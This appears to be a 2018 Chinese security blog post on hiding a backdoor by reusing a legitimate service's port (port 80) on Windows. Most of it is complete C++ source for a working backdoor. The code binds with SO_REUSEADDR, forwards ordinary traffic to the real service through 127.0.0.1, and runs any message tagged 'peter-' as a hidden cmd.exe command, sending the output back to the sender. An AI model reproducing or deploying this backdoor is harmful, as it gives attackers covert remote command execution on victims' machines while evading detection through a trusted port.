安全之路 —— 利用端口复用技术隐藏后门端口

简介

前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

C++代码样例

/////////////////////////////////////////
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口复用后门(单管道)
// Editor : Visual Studio 2017
//
/////////////////////////////////////////


/***************************************************************/
/*  注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
/***************************************************************/

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#pragma once
#define MAX_COUNT 255       //字符串最大长度
#define MAX_CONN_COUNT 1024 //最大连接数

typedef struct ThreadParam {  //SocketProc多线程结构体
	SOCKET sClient;
	sockaddr_in addr;
}tP;

const DWORD dwPort = 80;                        //端口号
const CHAR szTagContent[MAX_COUNT] = "peter-";  //连接标识
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度


/**
 * @brief 字符串切片
 * @param str1 源字符串
 * @param str2 结果字符串
 * @param dwBeginCount 数组下标起始值
 * @param dwEndCount 数组下标的最终值(取到前一位)
 */
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{
	if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
	{
		return;
	}
	for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
	{
		str2[j] = str1[i];
	}
	return;
}

/**
 * @brief 管道数据监控
 * @param sClient 客户端Socket对象
 * @param hOutputPipe 输出管道
 */
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{
	DWORD dwTotalAvail = 0;
	DWORD dwReadLength = 0;
	CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";
	ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
	send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
	ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
	return;
}

/**
 * @brief 打开Shell
 * @param sClient 客户端Socket对象
 * @param szRecvBuffer 字符串接收缓冲区
 */
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{
	HANDLE hInputPipe, outputPipe;
	CHAR szCmdLine[MAX_COUNT] = "\0";
	CHAR szSendData[MAX_COUNT] = "\0";
	if (strlen(szRecvBuffer) <= dwTagLength)
	{
		send(sClient, "None", 5, 0);
		return;
	}
	StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
	Sleep(200);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	GetStartupInfo(&si);
	si.hStdError = hInputPipe;
	si.hStdOutput = hInputPipe;
	si.wShowWindow = SW_HIDE;
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	GetSystemDirectory(szSendData, sizeof(szSendData));
	StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");
	StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
	CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生
	DataMonitor(sClient, outputPipe);
	return;
}

/**
 * @brief 客户端Socket处理
 * @param lpParam ThreadParam参数结构体
 */
DWORD WINAPI SocketProc(LPVOID lpParam)
{
	SOCKET sClient = ((tP*)lpParam)->sClient;
	CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";
	SOCKET sNative;
	sockaddr_in saiNativeAddr;
	CHAR szTip[] = "\r\nPeterBD>";
	struct timeval optNativeValue;
	saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	saiNativeAddr.sin_family = AF_INET;
	saiNativeAddr.sin_port = htons(dwPort);
	sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sNative == INVALID_SOCKET)
	{
		closesocket(sClient);
		return 0;
	}
	optNativeValue.tv_sec = 1;
	optNativeValue.tv_usec = 0;
	if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //设置接收超时
	{
		closesocket(sClient);
		closesocket(sNative);
		return 0;
	}
	if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发
	{
		closesocket(sClient);
		closesocket(sNative);
		return 0;
	}
	while (TRUE)
	{
		send(sClient, szTip, (size_t)strlen(szTip), 0);
		ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
		DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
		if (ret == SOCKET_ERROR)
		{
			break;
		}
		if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
		{
			StartShell(sClient, szRecvBuffer);
			continue;
		}
		send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
		ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
		recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
		if (strlen(szRecvBuffer))
		{
			send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
		}
	}
	closesocket(sClient);
	closesocket(sNative);
	return 0;
}

/**
 * @brief 主函数
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	WSADATA wsd;
	SOCKET sServer;
	sockaddr_in saiServerAddr;
	in_addr iaTempAddr;
	tP *tp[MAX_CONN_COUNT];
	HANDLE hThreadPool[MAX_CONN_COUNT];
	int connCount = 0;
	int s_ClientAddrSize = 0;
	CHAR szHostName[MAX_COUNT] = "\0";
	if (WSAStartup(0x0202, &wsd))
	{
		return 0;
	}
	gethostname(szHostName, sizeof(szHostName));
	HOSTENT *hostInfo = gethostbyname(szHostName);
	saiServerAddr.sin_family = AF_INET;
	saiServerAddr.sin_port = htons(dwPort);
	memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip
	saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
	sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
	int dwOptVal = 1;
	if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式
	{
		return 0;
	}
	if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
	{
		return 0;
	}
	if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
	{
		return 0;
	}
	while (connCount < MAX_CONN_COUNT)
	{
		tp[connCount] = (tP*)malloc(sizeof(tP));
		s_ClientAddrSize = sizeof(tp[connCount]->addr);
		tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
		hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
		connCount++;
	}
	WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
	for (int i = 0; i < connCount; i++)
	{
		CloseHandle(hThreadPool[i]);
		closesocket(tp[i]->sClient);
	}
	closesocket(sServer);
	WSACleanup();
	ExitProcess(0);
	return 0;
}
posted @ 2018-08-24 21:19  倚剑问天  阅读(1291)  评论(0编辑  收藏  举报